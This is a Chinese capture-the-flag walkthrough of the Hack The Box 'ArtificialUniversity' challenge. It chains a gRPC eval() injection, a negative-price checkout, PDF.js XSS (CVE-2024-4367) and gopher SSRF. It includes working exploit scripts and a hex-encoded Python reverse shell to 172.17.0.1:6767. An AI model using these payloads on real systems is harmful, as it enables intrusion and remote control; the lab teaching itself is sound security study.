Hack the Box 靶场练习-INSANE-ArtificialUniversity
字数 1810 2025-08-29 08:30:25

Hack The Box INSANE难度靶场:ArtificialUniversity 漏洞分析与利用教学

1. 靶场概述

ArtificialUniversity是Hack The Box上INSANE难度的Web挑战题目,模拟了一个在线教育平台的课程商城模块。该靶场由两个主要组件构成:

  1. gRPC服务:product_api服务,运行在50051端口
  2. Flask Web应用:store商城Web界面,运行在1337端口

对外只开放Web端口(1337),需要通过Web应用找到触发gRPC机制的方法来完成题目,最终目标是实现远程代码执行(RCE)。

2. gRPC服务漏洞分析

2.1 关键漏洞点

api.py中发现以下关键函数:

  1. GenerateProduct函数:包含eval()调用,存在代码执行风险

    • 只有GetNewProducts函数调用了GenerateProduct
    • 需要控制price_formula参数才能利用
  2. UpdateService函数:可以修改键值对属性

    • 被对外函数DebugService调用
    • DebugService接收客户端参数并调用UpdateService

2.2 利用链构造

构造以下利用链:

  1. 调用DebugService修改price_formula为恶意命令
  2. 调用GetNewProducts触发eval执行

2.3 漏洞利用代码

import grpc
import product_pb2
import product_pb2_grpc
from google.protobuf.struct_pb2 import Struct

def exploit():
    # 连接到gRPC服务
    channel = grpc.insecure_channel('127.0.0.1:50051')
    stub = product_pb2_grpc.ProductServiceStub(channel)
    
    # 构造恶意请求,设置price_formula为命令执行代码
    merge_request = product_pb2.MergeRequest()
    merge_request.input['price_formula'].string_value = "__import__('os').system('touch /tmp/pwn')"
    
    # 使用DebugService修改price_formula
    print("[*] Sending malicious DebugService request...")
    stub.DebugService(merge_request)
    
    # 调用GetNewProducts触发eval执行
    print("[*] Triggering GenerateProduct to execute the payload...")
    response = stub.GetNewProducts(product_pb2.Empty())
    print("Response received:", response)

if __name__ == "__main__":
    exploit()

2.4 生成gRPC模块

使用项目自带的proto文件生成gRPC模块:

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. product.proto

3. Web应用漏洞分析

3.1 /checkout/success接口漏洞

/checkout/success接口发现可疑操作:

  • 满足条件if amt_paid >= order.price后会自动传入admin账号密码调用bot_runner
  • bot_runner模拟Firefox浏览器访问获取支付订单PDF
  • payment_id参数可控,可构造payment_id=.admin/xxx实现admin接口访问

3.2 /checkout接口逻辑漏洞

/checkout接口存在奇怪的逻辑:

  1. 传入product_id会生成默认订单
  2. 不传product_id但包含完整参数(price, title, user_id, email)可绕过登录验证
  3. 可创建price为负数的订单

利用步骤:

  1. 登录后访问/subs获取创建负数价格订单的order_id
  2. 结合/checkout/success实现admin接口访问:/checkout/success?order_id=6&payment_id=admin/xxx

3.3 /admin/view-pdf接口

在admin接口下找到view-pdf接口,可根据URL参数预览PDF内容。

3.4 PDF.js XSS漏洞利用

利用PDF.js的XSS漏洞(CVE-2024-4367)构造自动跳转并携带POST内容的payload:

  • 服务器模拟Firefox打开PDF时可实现发送POST请求
  • 可访问/admin/api-health等接口

4. 组合利用实现RCE

4.1 /admin/api-health接口

api-health接口通过POST请求调用get_url_status_code函数:

  • 使用subprocess模块模拟终端curl请求
  • 可构造gopher协议攻击内网gRPC服务

4.2 gRPC请求转gopher协议

  1. 本地运行api.py并用Wireshark捕获exp执行过程
  2. 复制请求部分的raw数据
  3. 使用转换脚本生成gopher URL:
import binascii
import urllib.parse

def hex_to_gopher(hex_str: str) -> str:
    # 清理非Hex字符
    cleaned = hex_str.replace("\n", "").strip()
    
    # 验证Hex长度
    if len(cleaned) % 2 != 0:
        raise ValueError("无效的Hex长度")
    
    try:
        binary = binascii.unhexlify(cleaned)
    except binascii.Error as e:
        raise ValueError(f"Hex解码失败: {str(e)}")
    
    # 基础协议验证
    if not binary.startswith(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'):
        raise ValueError("无效的HTTP/2魔术字节")
    
    # 生成gopher URL
    encoded = urllib.parse.quote(binary, safe='')
    return f"gopher://127.0.0.1:50051/_{encoded}"

# 输入数据(已清理的连续Hex)
raw_hex = """505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000024040000000000000200000000000300000000000400400000000500400000000600004000fe0300000001000004080000000000003f00010000000401000000000000e101040000000140053a70617468242f70726f647563742e50726f64756374536572766963652f446562756753657276696365400a3a617574686f726974790f6c6f63616c686f73743a35303035318386400c636f6e74656e742d74797065106170706c69636174696f6e2f677270634002746508747261696c6572734014677270632d6163636570742d656e636f64696e67176964656e746974792c206465666c6174652c20677a6970400a757365722d6167656e7430677270632d707974686f6e2f312e37302e3020677270632d632f34352e302e3020286c696e75783b2063687474703229000004080000000001000000050000ce00010000000100000000c90ac6010a0d70726963655f666f726d756c6112b4010ab1015f5f696d706f72745f5f28276f7327292e73797374656d2827707974686f6e33202d63205c27696d706f727420736f636b65742c6f732c7074793b733d736f636b65742e736f636b657428293b732e636f6e6e6563742828223137322e31372e302e31222c3637363729293b5b6f732e6475703228732e66696c656e6f28292c66642920666f7220666420696e2028302c312c32295d3b7074792e737061776e28222f62696e2f6261736822295c272729000004080000000000000000050000080601000000002c20317a14a3fad2000008060000000000deac00f8ef07f63c00003501040000000340053a70617468262f70726f647563742e50726f64756374536572766963652f4765744e657750726f6475637473c38386c2c1c0bf0000040800000000030000000500000500010000000300000000000000040800000000000000000500000806010000000049be420c8749b031"""

try:
    # 生成URL
    gopher_url = hex_to_gopher(raw_hex)
    print("成功生成gopher URL:")
    print(gopher_url)
except ValueError as e:
    print("错误:", str(e))

4.3 完整利用步骤

  1. 准备阶段

    • 使用Wireshark捕获反弹shell的gRPC请求
    • 转换raw数据为gopher协议URL
    • 制作自动跳转PDF(包含XSS payload)
  2. 攻击阶段

    • 将PDF放在可访问的VPS上
    • 开启nc监听反弹shell
    • 创建price为负数的订单
    • 访问/checkout/success触发PDF访问
  3. 结果获取

    • 通过反弹shell获取flag

5. 参考资源

  1. FreeBuf文章:HTB ArtificialUniversity靶场解析
  2. 腾讯云开发者:gRPC安全分析
Hack The Box INSANE难度靶场:ArtificialUniversity 漏洞分析与利用教学 1. 靶场概述 ArtificialUniversity是Hack The Box上INSANE难度的Web挑战题目,模拟了一个在线教育平台的课程商城模块。该靶场由两个主要组件构成: gRPC服务 :product_ api服务,运行在50051端口 Flask Web应用 :store商城Web界面,运行在1337端口 对外只开放Web端口(1337),需要通过Web应用找到触发gRPC机制的方法来完成题目,最终目标是实现远程代码执行(RCE)。 2. gRPC服务漏洞分析 2.1 关键漏洞点 在 api.py 中发现以下关键函数: GenerateProduct函数 :包含 eval() 调用,存在代码执行风险 只有 GetNewProducts 函数调用了 GenerateProduct 需要控制 price_formula 参数才能利用 UpdateService函数 :可以修改键值对属性 被对外函数 DebugService 调用 DebugService 接收客户端参数并调用 UpdateService 2.2 利用链构造 构造以下利用链: 调用 DebugService 修改 price_formula 为恶意命令 调用 GetNewProducts 触发 eval 执行 2.3 漏洞利用代码 2.4 生成gRPC模块 使用项目自带的proto文件生成gRPC模块: 3. Web应用漏洞分析 3.1 /checkout/success接口漏洞 在 /checkout/success 接口发现可疑操作: 满足条件 if amt_paid >= order.price 后会自动传入admin账号密码调用 bot_runner bot_runner 模拟Firefox浏览器访问获取支付订单PDF payment_id 参数可控,可构造 payment_id=.admin/xxx 实现admin接口访问 3.2 /checkout接口逻辑漏洞 /checkout 接口存在奇怪的逻辑: 传入 product_id 会生成默认订单 不传 product_id 但包含完整参数( price , title , user_id , email )可绕过登录验证 可创建price为负数的订单 利用步骤: 登录后访问 /subs 获取创建负数价格订单的order_ id 结合 /checkout/success 实现admin接口访问: /checkout/success?order_id=6&payment_id=admin/xxx 3.3 /admin/view-pdf接口 在admin接口下找到 view-pdf 接口,可根据URL参数预览PDF内容。 3.4 PDF.js XSS漏洞利用 利用PDF.js的XSS漏洞(CVE-2024-4367)构造自动跳转并携带POST内容的payload: 服务器模拟Firefox打开PDF时可实现发送POST请求 可访问 /admin/api-health 等接口 4. 组合利用实现RCE 4.1 /admin/api-health接口 api-health 接口通过POST请求调用 get_url_status_code 函数: 使用 subprocess 模块模拟终端curl请求 可构造gopher协议攻击内网gRPC服务 4.2 gRPC请求转gopher协议 本地运行 api.py 并用Wireshark捕获exp执行过程 复制请求部分的raw数据 使用转换脚本生成gopher URL: 4.3 完整利用步骤 准备阶段 : 使用Wireshark捕获反弹shell的gRPC请求 转换raw数据为gopher协议URL 制作自动跳转PDF(包含XSS payload) 攻击阶段 : 将PDF放在可访问的VPS上 开启nc监听反弹shell 创建price为负数的订单 访问 /checkout/success 触发PDF访问 结果获取 : 通过反弹shell获取flag 5. 参考资源 FreeBuf文章:HTB ArtificialUniversity靶场解析 腾讯云开发者:gRPC安全分析